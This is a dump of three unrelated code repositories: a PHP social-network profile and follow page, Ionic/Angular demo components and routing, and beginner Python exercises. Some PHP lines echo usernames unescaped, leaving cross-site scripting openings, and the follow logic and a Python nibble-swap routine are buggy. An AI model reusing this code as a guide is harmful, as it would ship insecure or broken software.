href="profile.php?username='.htmlspecialchars($user_name).'"><h5>'.htmlspecialchars($real_name); if($isVerified) echo '<i class="fa fa-check-circle" data-toggle="tooltip" title="Verifed User" style="font-size: 28px; padding: 0.25em;"></i>'; echo'</h5></a>'; echo '<h6 class="text-muted">@'.$user_name.'</h6>'; ?> <form action ="profile.php?username=<?php echo htmlspecialchars($recommended[1]); ?>" method="post"> <input type="submit" name="follow" class="btn btn-primary" value="Follow"> </form> </li> <li class="list-group-item"> <?php $user_name = $recommended[2]; $real_name = DB::query('SELECT real_name FROM users WHERE username=:username', array(':username' => $user_name))[0]['real_name']; $isVerified = DB::query('SELECT verified FROM users WHERE username=:username', array(':username'=>$user_name))[0]['verified']; echo '<a class="" href="profile.php?username='.htmlspecialchars($user_name).'"><h5>'.htmlspecialchars($real_name); if($isVerified) echo '<i class="fa fa-check-circle" data-toggle="tooltip" title="Verifed User" style="font-size: 28px; padding: 0.25em;"></i>'; echo'</h5></a>'; echo '<h6 class="text-muted">@'.$user_name.'</h6>'; ?> <form action ="profile.php?username=<?php echo htmlspecialchars($recommended[2]); ?>" method="post"> <input type="submit" name="follow" class="btn btn-primary" value="Follow"> </form> </li> </ul> </div> </div> </div> </body> </html><file_sep>/profile.php <?php include('classes/DB.php'); $username = ""; $isFollowing = False; $isVerified = True; session_start(); if (isset($_GET['username'])) { if (DB::query('SELECT username FROM users WHERE username=:username', array(':username'=>$_GET['username']))) { $username = DB::query('SELECT username FROM users WHERE username=:username', array(':username'=>$_GET['username']))[0]['username']; $followed_id = DB::query('SELECT id FROM users WHERE username=:username', array(':username'=>$username))[0]['id']; if (DB::query('SELECT real_name FROM users WHERE username=:username AND real_name IS NOT NULL', array(':username'=>$username)) != NULL) { $real_name = DB::query('SELECT real_name FROM users WHERE username=:username', array(':username'=>$username))[0]['real_name']; } else { $real_name = $username; } $bio = DB::query('SELECT bio FROM users WHERE username=:username', array(':username'=>$username))[0]['bio']; $location = DB::query('SELECT location FROM users WHERE username=:username', array(':username'=>$username))[0]['location']; $website = DB::query('SELECT website FROM users WHERE username=:username', array(':username'=>$username))[0]['website']; $join_date = date_create(DB::query('SELECT joindate FROM users WHERE username=:username', array(':username'=>$username))[0]['joindate']); $isVerified = DB::query('SELECT verified FROM users WHERE username=:username', array(':username'=>$username))[0]['verified']; $followed_count = sizeof(DB::query('SELECT * FROM followers WHERE follower_id=:followed_id', array(':followed_id'=>$followed_id))); $follower_count = sizeof(DB::query('SELECT * FROM followers WHERE followed_id=:followed_id', array(':followed_id'=>$followed_id))); if (isset($_SESSION['loggedin'])) { $follower_id = $_SESSION['id']; } if (isset($_POST['follow'])) { if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) { die('Please log in to follow '.$username.''); } else { if ($followed_id !== $follower_id) { if (!DB::query('SELECT follower_id FROM followers WHERE followed_id=:followed_id', array(':followed_id'=>$followed_id))) { DB::query('INSERT INTO followers VALUES(\'\', :followed_id, :follower_id)', array(':followed_id'=>$followed_id, ':follower_id'=>$follower_id)); } else { echo 'Already following!'; } $isFollowing = True; } else { echo 'Can\'t follow yourself!'; } } } if (isset($_POST['unfollow'])) { if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) { die('Please log in to unfollow '.$username.''); } else { if ($followed_id !== $follower_id) { if (DB::query('SELECT follower_id FROM followers WHERE followed_id=:followed_id', array(':followed_id'=>$followed_id))) { DB::query('DELETE FROM followers WHERE followed_id=:followed_id AND follower_id=:follower_id', array(':followed_id'=>$followed_id, ':follower_id'=>$follower_id)); } else { echo 'Not already following!'; } $isFollowing = False; } else { echo 'Can\'t unfollow yourself!'; } } } if (DB::query('SELECT follower_id FROM followers WHERE followed_id=:followed_id', array(':followed_id'=>$followed_id))) { $isFollowing = True; } } else { die('User not found'); } } else { if (isset($_SESSION['loggedin'])) { $username = $_SESSION['username']; $followed_id = $_SESSION['id']; $follower_id = $_SESSION['id']; if (DB::query('SELECT real_name FROM users WHERE username=:username AND real_name IS NOT NULL', array(':username'=>$username))) { $real_name = DB::query('SELECT real_name FROM users WHERE username=:username', array(':username'=>$username))[0]['real_name']; } else { $real_name = $username; } $bio = DB::query('SELECT bio FROM users WHERE username=:username', array(':username'=>$username))[0]['bio']; $isVerified = DB::query('SELECT verified FROM users WHERE username=:username', array(':username'=>$username))[0]['verified']; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Lunara Sign Up</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css"> <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet"> <style type="text/css"> body{font:14 px sans-serif} .wrapper{width: 350px; padding: 20px;} </style> </head> <body> <div class="wrapper"> <div class="card" style="width: 18rem"> <div class="card-body"> <img class="card-img-top" src="http://images.schoolinsites.com/Uploads/McMinnCountySS/McMinnCountySS/Divisions/Staff/noprofile_2.gif"> <h3 class="card-title"><?php echo htmlspecialchars($real_name); if($isVerified) echo '<i class="fa fa-check-circle" data-toggle="tooltip" title="Verifed User" style="font-size: 28px; padding: 0.25em;"></i>'; ?></h3> <h5 class="card-subtitle mb-2 text-muted"><?php echo $username; ?></h5> <p class="card-subtitle mb-2 text-muted">Followers: <?php echo $follower_count; ?> Following: <?php echo $followed_count; ?></p> <p class="card-text"><?php echo htmlspecialchars($bio); ?></p> <ul class="list-group list-group-flush"> <?php if ($location != "") echo '<li class="list-group-item"><i class="fa fa-map-marker" style="padding: 0.25em"></i>' ?><a href="https://www.google.ca/maps/place/<?php echo htmlspecialchars($location); ?>" class="card-link"><?php echo htmlspecialchars($location); ?></a> <?php if ($website != "") echo '<li class="list-group-item"><i class="fa fa-link" style="padding: 0.25em"></i>' ?><a href=<?php echo htmlspecialchars($website); ?> class="card-link"><?php if (strlen($website) > 20) { echo htmlspecialchars(substr(str_replace(parse_url($website, PHP_URL_SCHEME).'://', '', $website), 0, 17).'...'); } else { echo htmlspecialchars(str_replace(parse_url($website, PHP_URL_SCHEME).'://', '', $website)); }?></a> <li class="list-group-item"<p><i class="fa fa-calendar" style="padding:0.25em"></i>Joined <?php echo date_format($join_date, 'F Y') ?></p></li> </ul> </div> <?php if ($followed_id !== $follower_id) { echo '<div class="card-footer"> <form action="profile.php?username=<?php echo htmlspecialchars($username); ?>" method="POST">'; if ($followed_id !== $follower_id) { if ($isFollowing) { echo '<input type="submit" name="unfollow" class="btn btn-danger" value="Unfollow">'; } else { echo '<input type="submit" name="follow" class="btn btn-primary" value="Follow">'; } } echo '</form> </div>'; } ?> </div> </div> </body> </html>
e28f1ccde7b60175d4f940b39493d6cff5499d89
[ "PHP" ]
6
PHP
OfficialExedo/Lunara
36640ee84a497baa17ce0005f3e01ce1cae5f87d
0893ee2b4fc97f5ec9b29c2bcb58dfe4bebacce3
refs/heads/master
<repo_name>chawsunyein/ionicTutorial<file_sep>/src/app/itemreorder/itemreorder.component.ts import { Component, OnInit } from '@angular/core'; @Component({ selector: 'app-itemreorder', templateUrl: './itemreorder.component.html', styleUrls: ['./itemreorder.component.scss'], }) export class ItemreorderComponent implements OnInit { items = [1, 2, 3, 4, 5 ]; constructor() { for (let x = 0; x < 5; x++) { this.items.push(x); } } reorderItems(indexes) { const element = this.items[indexes.from]; this.items.splice(indexes.from, 1); this.items.splice(indexes.to, 0, element); } ngOnInit() {} } <file_sep>/src/app/itemoption/itemoption.component.ts import { Component, OnInit } from '@angular/core'; @Component({ selector: 'app-itemoption', templateUrl: './itemoption.component.html', styleUrls: ['./itemoption.component.scss'], }) export class ItemoptionComponent implements OnInit { constructor() { } ngOnInit() {} } <file_sep>/src/app/ionplatform/ionplatform.component.ts import { Component, OnInit } from '@angular/core'; import { Platform } from '@ionic/angular'; @Component({ selector: 'app-ionplatform', templateUrl: './ionplatform.component.html', styleUrls: ['./ionplatform.component.scss'], }) export class IonplatformComponent implements OnInit { constructor(public plt: Platform) { if (this.plt.is('ios')) { // This will only print when on iOS console.log('I am an iOS device!'); } if (this.plt.is('android')) { // This will only print when on iOS console.log('I am an Android device!'); } if (this.plt.is('desktop')) { // This will only print when on iOS console.log('I am an desktop device!'); } } ngOnInit() {} } <file_sep>/src/app/toast/toast.component.ts import { Component, OnInit } from '@angular/core'; import { ToastController } from '@ionic/angular'; @Component({ selector: 'app-toast', templateUrl: './toast.component.html', styleUrls: ['./toast.component.scss'], }) export class ToastComponent implements OnInit { constructor(private toastCtrl: ToastController) { } ngOnInit() {} async presentToast() { const toast = await this.toastCtrl.create({ message: 'Pair was successfully', duration: 3000, position: 'top' }); toast.present(); } } <file_sep>/src/app/refresher/refresher.component.ts import { Component, OnInit } from '@angular/core'; @Component({ selector: 'app-refresher', templateUrl: './refresher.component.html', styleUrls: ['./refresher.component.scss'], }) export class RefresherComponent implements OnInit { constructor() { } ngOnInit() {} } <file_sep>/src/app/home/home.page.ts import { Component } from '@angular/core'; import { Router } from '@angular/router'; @Component({ selector: 'app-home', templateUrl: 'home.page.html', styleUrls: ['home.page.scss'], }) export class HomePage { constructor(private router: Router) {} actionsheet() { this.router.navigateByUrl('/actionsheet'); } alert() { this.router.navigateByUrl('/alert'); } badge() { this.router.navigateByUrl('/badge'); } button() { this.router.navigateByUrl('/button'); } avatar() { this.router.navigateByUrl('/avatar'); } checkbox() { this.router.navigateByUrl('/checkbox'); } chip() { this.router.navigateByUrl('/chip'); } card() { this.router.navigateByUrl('/card'); } content() { this.router.navigateByUrl('/content'); } datetime() { this.router.navigateByUrl('/datetime'); } fabbutton() { this.router.navigateByUrl('/fabbutton'); } fabcontainer() { this.router.navigateByUrl('/fabcontainer'); } fablist() { this.router.navigateByUrl('/fablist'); } footer() { this.router.navigateByUrl('/footer'); } grid() { this.router.navigateByUrl('/grid'); } header() { this.router.navigateByUrl('/header'); } hidewhen() { this.router.navigateByUrl('/hidewhen'); } icon() { this.router.navigateByUrl('/icon'); } img() { this.router.navigateByUrl('/img'); } infinitescroll() { this.router.navigateByUrl('/infinitescroll'); } input() { this.router.navigateByUrl('/input'); } item() { this.router.navigateByUrl('/item'); } itemoption() { this.router.navigateByUrl('/itemoption'); } itemreorder() { this.router.navigateByUrl('/itemreorder'); } itemsliding() { this.router.navigateByUrl('/itemsliding'); } label() { this.router.navigateByUrl('/label'); } ionnote() { this.router.navigateByUrl('/ion-note'); } list() { this.router.navigateByUrl('/ion-list'); } listheader() { this.router.navigateByUrl('/list-header'); } listthumbnail() { this.router.navigateByUrl('/list-thumbnail'); } loading() { this.router.navigateByUrl('/loading'); } menu() { this.router.navigateByUrl('/menu'); } menuclose() { this.router.navigateByUrl('/menuclose'); } menutoggle() { this.router.navigateByUrl('/menutoggle'); } menusplitpane() { this.router.navigateByUrl('/menusplitpane'); } modal() { this.router.navigateByUrl('/ionmodal'); } navbar() { this.router.navigateByUrl('/navbar'); } navpush() { this.router.navigateByUrl('/navpush'); } navpop() { this.router.navigateByUrl('/navpop'); } note() { this.router.navigateByUrl('/note'); } option() { this.router.navigateByUrl('/option'); } ionplatform() { this.router.navigateByUrl('/ionplatform'); } ionpopver() { this.router.navigateByUrl('/ionpopover'); } radio() { this.router.navigateByUrl('/radio'); } radiogroup() { this.router.navigateByUrl('/radiogroup'); } range() { this.router.navigateByUrl('/range'); } refresher() { this.router.navigateByUrl('/refresher'); } reorder() { this.router.navigateByUrl('/reorder'); } scroll() { this.router.navigateByUrl('/scroll'); } searchbar() { this.router.navigateByUrl('/searchbar'); } segment() { this.router.navigateByUrl('/segment'); } segmentbutton() { this.router.navigateByUrl('/segmentbutton'); } select() { this.router.navigateByUrl('/select'); } showwhen() { this.router.navigateByUrl('/showwhen'); } slide() { this.router.navigateByUrl('/slide'); } slides() { this.router.navigateByUrl('/slides'); } spinner() { this.router.navigateByUrl('/spinner'); } splitpane() { this.router.navigateByUrl('/splitpane'); } tab() { this.router.navigateByUrl('/tab'); } thumbnail() { this.router.navigateByUrl('/thumbnail'); } title() { this.router.navigateByUrl('/title'); } toast() { this.router.navigateByUrl('/toast'); } toggle() { this.router.navigateByUrl('/toggle'); } toolbar() { this.router.navigateByUrl('/toolbar'); } backbutton() { this.router.navigateByUrl('/backbutton'); } typography() { this.router.navigateByUrl('/typography'); } virtualscroll() { this.router.navigateByUrl('/virtualscroll'); } } <file_sep>/src/app/app-routing.module.ts import { NgModule } from '@angular/core'; import { PreloadAllModules, RouterModule, Routes } from '@angular/router'; import { AlertComponent } from './alert/alert.component'; import { ActionsheetComponent } from './actionsheet/actionsheet.component'; import { BadgeComponent } from './badge/badge.component'; import { ButtonComponent } from './button/button.component'; import { AvatarComponent } from './avatar/avatar.component'; import { CheckboxComponent } from './checkbox/checkbox.component'; import { ChipComponent } from './chip/chip.component'; import { CardComponent } from './card/card.component'; import { ContentComponent } from './content/content.component'; import { DatetimeComponent } from './datetime/datetime.component'; import { FabbuttonComponent } from './fabbutton/fabbutton.component'; import { FabcontainerComponent } from './fabcontainer/fabcontainer.component'; import { FablistComponent } from './fablist/fablist.component'; import { FooterComponent } from './footer/footer.component'; import { GridComponent } from './grid/grid.component'; import { HeaderComponent } from './header/header.component'; import { HidewhenComponent } from './hidewhen/hidewhen.component'; import { IconComponent } from './icon/icon.component'; import { ImgComponent } from './img/img.component'; import { InfinitescrollComponent } from './infinitescroll/infinitescroll.component'; import { InputComponent } from './input/input.component'; import { ItemComponent } from './item/item.component'; import { ItemoptionComponent } from './itemoption/itemoption.component'; import { ItemreorderComponent } from './itemreorder/itemreorder.component'; import { ItemslidingComponent } from './itemsliding/itemsliding.component'; import { LabelComponent } from './label/label.component'; import { IonNoteComponent } from './ion-note/ion-note.component'; import { IonListComponent } from './ion-list/ion-list.component'; import { ListHeaderComponent } from './list-header/list-header.component'; import { ListThumbnailComponent } from './list-thumbnail/list-thumbnail.component'; import { LoadingComponent } from './loading/loading.component'; import { MenuComponent } from './menu/menu.component'; import { MenucloseComponent } from './menuclose/menuclose.component'; import { MenutoggleComponent } from './menutoggle/menutoggle.component'; import { MenusplitpaneComponent } from './menusplitpane/menusplitpane.component'; import { IonmodalComponent } from './ionmodal/ionmodal.component'; import { NavbarComponent } from './navbar/navbar.component'; import { NavpushComponent } from './navpush/navpush.component'; import { NavpopComponent } from './navpop/navpop.component'; import { NoteComponent } from './note/note.component'; import { OptionComponent } from './option/option.component'; import { IonplatformComponent } from './ionplatform/ionplatform.component'; import { IonpopoverComponent } from './ionpopover/ionpopover.component'; import { RadioComponent } from './radio/radio.component'; import { RadiogroupComponent } from './radiogroup/radiogroup.component'; import { RangeComponent } from './range/range.component'; import { RefresherComponent } from './refresher/refresher.component'; import { ReorderComponent } from './reorder/reorder.component'; import { ScrollComponent } from './scroll/scroll.component'; import { SearchbarComponent } from './searchbar/searchbar.component'; import { SegmentComponent } from './segment/segment.component'; import { SegmentbuttonComponent } from './segmentbutton/segmentbutton.component'; import { SelectComponent } from './select/select.component'; import { ShowwhenComponent } from './showwhen/showwhen.component'; import { SlideComponent } from './slide/slide.component'; import { SlidesComponent } from './slides/slides.component'; import { SpinnerComponent } from './spinner/spinner.component'; import { SplitepaneComponent } from './splitepane/splitepane.component'; import { TabComponent } from './tab/tab.component'; import { ThumbnailComponent } from './thumbnail/thumbnail.component'; import { TitleComponent } from './title/title.component'; import { ToastComponent } from './toast/toast.component'; import { ToggleComponent } from './toggle/toggle.component'; import { ToolbarComponent } from './toolbar/toolbar.component'; import { BackbuttonComponent } from './backbutton/backbutton.component'; import { TypographyComponent } from './typography/typography.component'; import { VirtualscrollComponent } from './virtualscroll/virtualscroll.component'; const routes: Routes = [ { path: 'home', loadChildren: () => import('./home/home.module').then( m => m.HomePageModule) }, { path: '', redirectTo: 'home', pathMatch: 'full' }, { path: 'actionsheet', pathMatch: 'full', component: ActionsheetComponent }, { path: 'alert', pathMatch: 'full', component: AlertComponent }, { path: 'badge', pathMatch: 'full', component: BadgeComponent }, { path: 'button', pathMatch: 'full', component: ButtonComponent }, { path: 'avatar', pathMatch: 'full', component: AvatarComponent }, { path: 'checkbox', pathMatch: 'full', component: CheckboxComponent }, { path: 'chip', pathMatch: 'full', component: ChipComponent }, { path: 'card', pathMatch: 'full', component: CardComponent }, { path: 'content', pathMatch: 'full', component: ContentComponent }, { path: 'datetime', pathMatch: 'full', component: DatetimeComponent }, { path: 'fabbutton', pathMatch: 'full', component: FabbuttonComponent }, { path: 'fabcontainer', pathMatch: 'full', component: FabcontainerComponent }, { path: 'fablist', pathMatch: 'full', component: FablistComponent }, { path: 'footer', pathMatch: 'full', component: FooterComponent }, { path: 'grid', pathMatch: 'full', component: GridComponent }, { path: 'header', pathMatch: 'full', component: HeaderComponent }, { path: 'hidewhen', pathMatch: 'full', component: HidewhenComponent }, { path: 'icon', pathMatch: 'full', component: IconComponent }, { path: 'img', pathMatch: 'full', component: ImgComponent }, { path: 'infinitescroll', pathMatch: 'full', component: InfinitescrollComponent }, { path: 'input', pathMatch: 'full', component: InputComponent }, { path: 'item', pathMatch: 'full', component: ItemComponent }, { path: 'itemoption', pathMatch: 'full', component: ItemoptionComponent }, { path: 'itemreorder', pathMatch: 'full', component: ItemreorderComponent }, { path: 'itemsliding', pathMatch: 'full', component: ItemslidingComponent }, { path: 'label', pathMatch: 'full', component: LabelComponent }, { path: 'ion-note', pathMatch: 'full', component: IonNoteComponent }, { path: 'ion-list', pathMatch: 'full', component: IonListComponent }, { path: 'list-header', pathMatch: 'full', component: ListHeaderComponent }, { path: 'list-thumbnail', pathMatch: 'full', component: ListThumbnailComponent }, { path: 'loading', pathMatch: 'full', component: LoadingComponent }, { path: 'menu', pathMatch: 'full', component: MenuComponent }, { path: 'menuclose', pathMatch: 'full', component: MenucloseComponent }, { path: 'menutoggle', pathMatch: 'full', component: MenutoggleComponent }, { path: 'menusplitpane', pathMatch: 'full', component: MenusplitpaneComponent }, { path: 'ionmodal', pathMatch: 'full', component: IonmodalComponent }, { path: 'navbar', pathMatch: 'full', component: NavbarComponent }, { path: 'navpush', pathMatch: 'full', component: NavpushComponent }, { path: 'navpop', pathMatch: 'full', component: NavpopComponent }, { path: 'note', pathMatch: 'full', component: NoteComponent }, { path: 'option', pathMatch: 'full', component: OptionComponent }, { path: 'ionplatform', pathMatch: 'full', component: IonplatformComponent }, { path: 'ionpopover', pathMatch: 'full', component: IonpopoverComponent }, { path: 'radio', pathMatch: 'full', component: RadioComponent }, { path: 'radiogroup', pathMatch: 'full', component: RadiogroupComponent }, { path: 'range', pathMatch: 'full', component: RangeComponent }, { path: 'refresher', pathMatch: 'full', component: RefresherComponent }, { path: 'reorder', pathMatch: 'full', component: ReorderComponent }, { path: 'scroll', pathMatch: 'full', component: ScrollComponent }, { path: 'searchbar', pathMatch: 'full', component: SearchbarComponent }, { path: 'segment', pathMatch: 'full', component: SegmentComponent }, { path: 'segmentbutton', pathMatch: 'full', component: SegmentbuttonComponent }, { path: 'select', pathMatch: 'full', component: SelectComponent }, { path: 'showwhen', pathMatch: 'full', component: ShowwhenComponent }, { path: 'slide', pathMatch: 'full', component: SlideComponent }, { path: 'slides', pathMatch: 'full', component: SlidesComponent }, { path: 'spinner', pathMatch: 'full', component: SpinnerComponent }, { path: 'splitpane', pathMatch: 'full', component: SplitepaneComponent }, { path: 'tab', pathMatch: 'full', component: TabComponent }, { path: 'thumbnail', pathMatch: 'full', component: ThumbnailComponent }, { path: 'title', pathMatch: 'full', component: TitleComponent }, { path: 'toast', pathMatch: 'full', component: ToastComponent }, { path: 'toggle', pathMatch: 'full', component: ToggleComponent }, { path: 'toolbar', pathMatch: 'full', component: ToolbarComponent }, { path: 'backbutton', pathMatch: 'full', component: BackbuttonComponent }, { path: 'typography', pathMatch: 'full', component: TypographyComponent }, { path: 'virtualscroll', pathMatch: 'full', component: VirtualscrollComponent }, ]; @NgModule({ imports: [ RouterModule.forRoot(routes, { preloadingStrategy: PreloadAllModules }) ], exports: [RouterModule] }) export class AppRoutingModule { } <file_sep>/src/app/ionpopover/ionpopover.component.ts import { Component, OnInit } from '@angular/core'; import { PopoverController } from '@ionic/angular'; import { ItemComponent } from '../item/item.component'; @Component({ selector: 'app-ionpopover', templateUrl: './ionpopover.component.html', styleUrls: ['./ionpopover.component.scss'], }) export class IonpopoverComponent implements OnInit { constructor(public popoverCtrl: PopoverController) { } ngOnInit() {} async presentPopover(ev: any) { const popover = await this.popoverCtrl.create({ component: ItemComponent, cssClass: 'my-custom-class', event: ev, translucent: true }); return await popover.present(); } } <file_sep>/src/app/navpush/navpush.component.ts import { Component, OnInit } from '@angular/core'; import { BadgeComponent } from '../badge/badge.component'; import { Router } from '@angular/router'; @Component({ selector: 'app-navpush', templateUrl: './navpush.component.html', styleUrls: ['./navpush.component.scss'], }) export class NavpushComponent implements OnInit { // tslint:disable-next-line: ban-types params: Object; pushPage: any; constructor(private router: Router) { this.pushPage = BadgeComponent; } ngOnInit() {} gotoBadge(){ this.router.navigateByUrl('/badge'); } }
9b4cf9354ec237536a5c85acddcaa474ac5ad664
[ "TypeScript" ]
9
TypeScript
chawsunyein/ionicTutorial
8fd6628c60f57d42852de0fe1626660dbb338e1a
6db9a4a9a927458b1bb7a56af4bc30ffe28cfc85
refs/heads/master
<file_sep>""" @Author : Vismaya @Date : 2021-10-20 03:59 @Last Modified by : Vismaya @Last Modified time : 2021-10-20 06:55 @Title : Coupon Numbers """ import random class CouponNumber: @staticmethod def coupon_no(self, couponCount): couponArr = [] count = 0 while count <= couponCount: number = random.randint(10, 100) if number not in couponArr: couponArr.append(number) print(number) count += 1 noOfCoupon = int(input("Enter the number of coupon number : ")) coupon = CouponNumber() coupon.coupon_no(noOfCoupon) <file_sep>""" @Author : Vismaya @Date : 2021-10-20 01:35 @Last Modified by : Vismaya @Last Modified time : 2021-10-20 01:47 @Title : Calculate Wind chill """ import sys import math def calc_windchill(t, v): if t < 50 and 3 < v < 120: windchill = (35.74 + (0.6215 * t) + (((t * 0.4275) - 35.75) * (pow(v, 0.16)))) windchill = round(windchill, 2) print("Wind Chill : ", windchill) else: print("Invalid Input") temp = int(sys.argv[1]) speed = int(sys.argv[2]) calc_windchill(temp, speed) <file_sep>""" @Author : Vismaya @Date : 2021-10-18 11:19 @Last Modified by : Vismaya @Last Modified time : 2021-10-18 01:10 @Title : Table of Power of 2 """ import sys def power_of_two(num): for i in range(1, num+1): power = pow(2, i) print("2^", i, " = ", power) number = int(sys.argv[1]) print(number) if 0 <= number < 31: power_of_two(number) else: print("Invalid Range")<file_sep>""" @Author : Vismaya @Date : 2021-10-18 11:39 @Last Modified by : Vismaya @Last Modified time : 2021-10-18 11:59 @Title : Find the Nth Harmonic value """ def harmonic_sum(num): result = 0 for i in range(1, num+1): result += 1 / i return result; number = int(input("Enter the Number : ")) if number != 0: value = harmonic_sum(number) value = round(value, 2) print("Harmonic value : ", value) else: print("Invalid") <file_sep>""" @Author : Vismaya @Date : 2021-10-18 06:00 @Last Modified by : Vismaya @Last Modified time : 2021-10-18 06:55 @Title : Gambler bet """ import random head = 1 tail = 0 def generate_rand_no(): randomNo = random.uniform(0, 1) randomNo = round(randomNo, 2) if randomNo > 0.5: return head else: return tail stake = int(input("Enter the holding amount : ")) goal = int(input("Enter the goal amount : ")) numOfTimes = int(input("Enter the Number of times to play the game : ")) count = 0 winCount = 0 lossCount = 0 while stake != 0 and goal != stake and count != numOfTimes: print("Select Head or Tail") option = int(input("Press 1 for Head and 0 for Tail : ")) count += 1 if generate_rand_no() == option: stake += 1 winCount += 1 else: stake -= 1 lossCount += 1 print("Numbers of Wins : ", winCount) perOfWin = (winCount * 100) / count perOfLoss = (lossCount * 100) / count print("Percentage of Win : ", perOfWin) print("Percentage of Loss : ", perOfLoss)<file_sep>""" @Author : Vismaya @Date : 2021-10-18 09:36 @Last Modified by : Vismaya @Last Modified time : 2021-10-18 10:27 @Title : Flip coin and print percentage of Head & Tail """ import random number = int(input("Enter the Number of times to flip coin : ")) i = 0 headCount = 0 tailCount = 0 for i in range(number+1): randomNo = random.uniform(0, 1) randomNo = round(randomNo, 2) if randomNo > 0: if randomNo > 0.5: headCount += 1 else: tailCount += 1 else: print("Invalid") percentOfHead = float((headCount * 100) / number) percentOfHead = round(percentOfHead, 2) percentOfTail = float((tailCount * 100) / number) percentOfTail = round(percentOfTail, 2) print("Percentage of Head : ", percentOfHead , "%") print("Percentage of Tail : ", percentOfTail , "%")<file_sep>""" @Author : Vismaya @Date : 2021-10-20 11:48 @Last Modified by : Vismaya @Last Modified time : 2021-10-20 01:10 @Title : Sum of three numbers adds to zero """ def find_triples(arr=[]): triplescount = 0 for i in range(0, len(arr)): for j in range(i+1, len(arr)): for k in range(j + 1, len(arr)): if arr[i] + arr[j] + arr[k] == 0: triplescount += 1 if triplescount == 0: print("Array doesn't have triples") else: print("Triples count : ", triplescount) count = int(input("Enter the count : ")) array = [] print("Enter the values") for i in range(0, count): array.append(int(input())) print(array) find_triples(array)<file_sep>""" @Author : Vismaya @Date : 2021-10-20 02:23 @Last Modified by : Vismaya @Last Modified time : 2021-10-20 07:36 @Title : Insertion Sort """ arr = [] def insertion_sort(): for i in range(1, len(arr)): key = arr[i] j = i - 1 while j >= 0 and key < arr[j]: arr[j+1] = arr[j] j -= 1 arr[j+1] = key print("Sorted Array : ", arr) num = int(input("Enter the number of elements to be insert : ")) print("Enter the elements : ") for j in range(num): arr.append(input()) print("Unsorted Array : ", arr) insertion_sort()<file_sep>""" @Author : Vismaya @Date : 2021-10-20 01:08 @Last Modified by : Vismaya @Last Modified time : 2021-10-20 01:30 @Title : Calculate Euclidean distance """ import sys import math def get_distance(a, b): distance = (math.sqrt(pow(x, 2) + pow(y, 2))) return distance x = int(sys.argv[1]) y = int(sys.argv[2]) dist = get_distance(x, y) dist = round(dist, 2) print("Euclidean distance : ", dist) <file_sep>""" @Author : Vismaya @Date : 2021-10-20 10:41 @Last Modified by : Vismaya @Last Modified time : 2021-10-20 11:57 @Title : Anagram Detection """ class Anagram: @staticmethod def are_anagram(s1, s2): if s1 == s2: return 1 else: return 0 string1 = input("Enter the first string : ") str_array1 = [char for char in string1] str_array1.sort() str1 = "".join(str_array1) string2 = input("Enter thr second string : ") str_array2 = [char for char in string2] str_array2.sort() str2 = "".join(str_array2) anagram = Anagram() result = anagram.are_anagram(str1, str2) if result == 1: print("Two strings are Anagram") else: print("Two strings are not Anagram")<file_sep>""" @Author : Vismaya @Date : 2021-10-20 12:46 @Last Modified by : Vismaya @Last Modified time : 2021-10-20 01:24 @Title : Store Prime numbers in a 2D array """ class Prime: def is_prime(self, min, max): prime_arr = [] for i in range(min, max): flag = 1 for j in range(2, i): if i % j == 0: flag = 0 if flag == 1: prime_arr.append(i) return prime_arr prime_obj = Prime() arr = [] for i in range(0, 1000, 100): result_Arr = prime_obj.is_prime(i, i+100) arr.append(result_Arr) print(arr, end=" ") print() <file_sep>""" @Author : Vismaya @Date : 2021-10-20 02:39 @Last Modified by : Vismaya @Last Modified time : 2021-10-20 04:47 @Title : Stopwatch """ import time def time_convert(sec): mins = sec // 60 sec = sec % 60 hours = mins // 60 mins = mins % 60 hours = round(hours, 2) mins = round(mins, 2) sec = round(sec, 2) print("Time Lapsed = {0}:{1}:{2}".format(int(hours), int(mins), sec)) input("Press Enter to start") start_time = time.time() input("Press Enter to stop") end_time = time.time() time_lapsed = end_time - start_time time_convert(time_lapsed)<file_sep>""" @Author : Vismaya @Date : 2021-10-18 05:47 @Last Modified by : Vismaya @Last Modified time : 2021-10-18 08:10 @Title : Temperature Conversion """ def celsius_to_fahren(no): result = (no * 9 / 5) + 32 return result def fahren_to_celsius(no): result = (no - 32) * 5 / 9 return result print("1.Celsius to Fahrenheit(Press 1) \n2.Fahrenheit to Celsius(Press 2)") option = int(input("Choose your option : ")) if option == 1: num = int(input("Enter the value(in °C) : ")) print("Celsius to Fahrenheit : ", celsius_to_fahren(num)) else: num = int(input("Enter the value(in °F) : ")) print("Fahrenheit to Celsius : ", fahren_to_celsius(num)) <file_sep>""" @Author : Vismaya @Date : 2021-10-18 10:54 @Last Modified by : Vismaya @Last Modified time : 2021-10-18 10:54 @Title : Swap nibbles and find new Decimal number """ class Swap: @staticmethod def dec_to_bin(dec): if dec > 0: Swap.dec_to_bin(int(dec / 2)) bin_num = dec % 2 return bin_num @staticmethod def nibbles(): decimal = int(input("Enter a decimal number \n")) bin_no = Swap.dec_to_bin(decimal) new_bin = bin_no[4:8] + bin_no[0:4] print("Swapped binary number: ", end='') print(new_bin) new_num = int(new_bin, 2) print("New Decimal number formed by swapping: ", end='') return new_num @staticmethod def check_power(n): if n == 0: return 0 while n != 1: if n % 2 != 0: return 0 n = n // 2 return 1 new_no = Swap.nibbles() result = Swap.check_power(new_no) if result == 1: print('Yes') else: print('No') <file_sep>""" @Author : Vismaya @Date : 2021-10-18 11:39 @Last Modified by : Vismaya @Last Modified time : 2021-10-18 12:52 @Title : Prime factors of a number """ def is_prime(num): flag = 0 for j in range(2, num): if num % j == 0: flag = 1 break j += 1 return flag; number = int(input("Enter the Number : ")) i = 2 print("Prime factors : ") while i <= number: if number % i == 0: result = is_prime(i) if result == 0: print(i) i += 1 <file_sep>""" @Author : Vismaya @Date : 2021-10-20 08:15 @Last Modified by : Vismaya @Last Modified time : 2021-10-20 04:47 @Title : Monthly Payment using Principal amount(P), year to pay off(Y), per cent interest compounded monthly(R) """ import sys import math class Payment: @staticmethod def calc_payment(Y, P, R): n = 12 * Y r = R / 1200 payment = (P * r) / (1 - pow((1 + r), (-n))) return payment pay = Payment() year = int(sys.argv[1]) principalAmount = int(sys.argv[2]) interest = int(sys.argv[3]) result = pay.calc_payment(year, principalAmount, interest) result = round(result, 2) print("Monthly Payment : ", result)<file_sep>""" 